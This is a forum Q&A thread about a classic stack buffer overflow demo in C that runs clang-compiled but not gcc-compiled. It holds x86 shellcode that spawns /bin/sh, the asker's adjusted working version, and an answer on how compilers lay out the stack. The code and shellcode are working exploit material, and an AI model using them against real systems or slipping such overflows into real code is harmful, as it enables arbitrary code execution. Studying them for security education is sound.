michael101
michael101

Reputation: 21

buffer overflow attack works when compiled using clang but not when compiled using gcc

char shellcode[] = "\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh        ";
 
char large_string[128];
 
void main() { 
    char buffer[48];
    int i;
    long *long_ptr = (long *) large_string;
    
    for(i=0; i < 32; ++i) // 128/4 = 32
        long_ptr[i] = (int) buffer;
 
    for(i=0; i < strlen(shellcode); i++){
        large_string[i] = shellcode[i];
    }
    
    strcpy(buffer, large_string);
}

The above is an example code for performing buffer overflow attack, it works when compiled using clang , but not when compiled using gcc. I think the problem is than of array alignment. On using the compile flag -mpreferred-stack-boundary=2 the program do works in gcc. But is there another solution without using -mpreferred-stack-boundary=2 ?

Can we fix the memory alignment issue if any, in the code itself ?

The compiler flag i used for both gcc and clang are -w -m32 -g -fno-stack-protector -z execstack -O0.

Upvotes: 0

Views: 185

Answers (2)

michael101
michael101

Reputation: 21

Found the solution We need to add a +4 to long_ptr[i] = (int) buffer and another +4 to large_string[i]. The program now looks like this.

      // without zeros 
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh        ";

char large_string[128];
 
void main() { 
    char buffer[48];
    int i;
    long *long_ptr = (long *) large_string;
    
    for(i=0; i < 32; ++i) // 128/4 = 32
        long_ptr[i] = (int) buffer+4;

 
    for(i=0; i < strlen(shellcode); i++){
        large_string[i+4] = shellcode[i];
    }
    
    strcpy(buffer, large_string);
}

Upvotes: 0

pts
pts

Reputation: 87251

This is the stack layout of your main function on x86 (any of 16-bit, 32-bit and 64-bit code), while it is running:

  • temporaries
  • in any order:
    • alignment, buffer
    • alignment, i
    • alignment, long_ptr
  • alignment
  • return address (pushed by the caller)
  • argc (pushed by the caller) (even if you declare main without parameters)
  • argv (pushed by the caller) (even if you declare main without parameters)

The compiler is free to choose the order of local variables, and it is free to choose the amounts of alignment.

The reason why the shellcode works with one compiler is that it is making specific assumptions about the order of local variables and the amounts of alignment.

Typically an exploit shellcode is written for a specific, precompiled binary executable, in which these are already made by the compiler and they are revealed by the disassebmbly output.

Upvotes: 0

Related Questions